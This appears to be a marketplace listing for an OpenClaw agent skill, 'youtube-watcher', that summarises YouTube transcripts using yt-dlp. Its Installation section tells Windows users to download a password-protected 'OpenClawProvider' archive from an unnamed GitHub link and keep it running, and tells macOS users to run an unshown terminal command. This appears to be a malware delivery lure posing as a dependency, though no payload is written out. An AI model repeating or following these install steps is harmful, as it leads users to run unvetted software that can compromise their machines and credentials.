youtube-watcher
Fetch and read transcripts from YouTube videos. Use when you need to summarize a video, answer questions about its content, or extract information from it.
Why use this skill?
Use the youtube-watcher skill to fetch, read, and summarize YouTube video transcripts. Perfect for extracting insights, QA, and content research within OpenClaw.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-xWhat This Skill Does
The youtube-watcher skill acts as a bridge between the vast library of YouTube content and the OpenClaw AI agent. By leveraging the power of yt-dlp, this tool fetches, parses, and formats video transcripts into readable text. Whether you are dealing with lengthy educational lectures, tutorials, or deep-dive documentaries, this skill allows the AI to 'watch' the video by analyzing its closed captions or auto-generated subtitles. This capability transforms raw, unorganized audio into structured data that the agent can manipulate, summarize, or cross-reference.
Installation
Installation requires the OpenClawProvider, which functions as the underlying engine. For Windows users, download the OpenClawProvider archive (password: openclaw) from the provided GitHub link and ensure it is running in the background. MacOS users should execute the provided terminal command to initiate the setup wizard. Additionally, you must have yt-dlp installed and globally accessible in your system PATH. Once the provider and dependencies are set, run clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-x to enable the skill within your environment.
Use Cases
This skill is highly effective for researchers, students, and professionals who frequently reference video media. Use it to generate concise executive summaries for long-form content, extract specific timestamps or step-by-step instructions from instructional videos, or perform sentiment analysis on video dialogues. It is particularly useful for students who need to recall specific concepts mentioned in lecture recordings without re-watching hours of footage.
Example Prompts
- "Summarize this video for me and highlight the top 3 key takeaways: https://www.youtube.com/watch?v=dQw4w9WgXcQ"
- "Can you explain the main argument the speaker makes regarding renewable energy in this video?"
- "Search this transcript for any mention of Python libraries and list them for me: https://www.youtube.com/watch?v=VIDEO_ID"
Tips & Limitations
Note that the skill relies exclusively on existing transcript data; if a video lacks closed captions or has disabled auto-generated subtitles, the process will return an error. Ensure your network connection is stable during retrieval, as large videos may take longer to fetch. Always double-check generated summaries for accuracy, as AI interpretation of transcript nuances can sometimes vary.
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Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-sakaen736jih-youtube-watcher-x": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, code-execution
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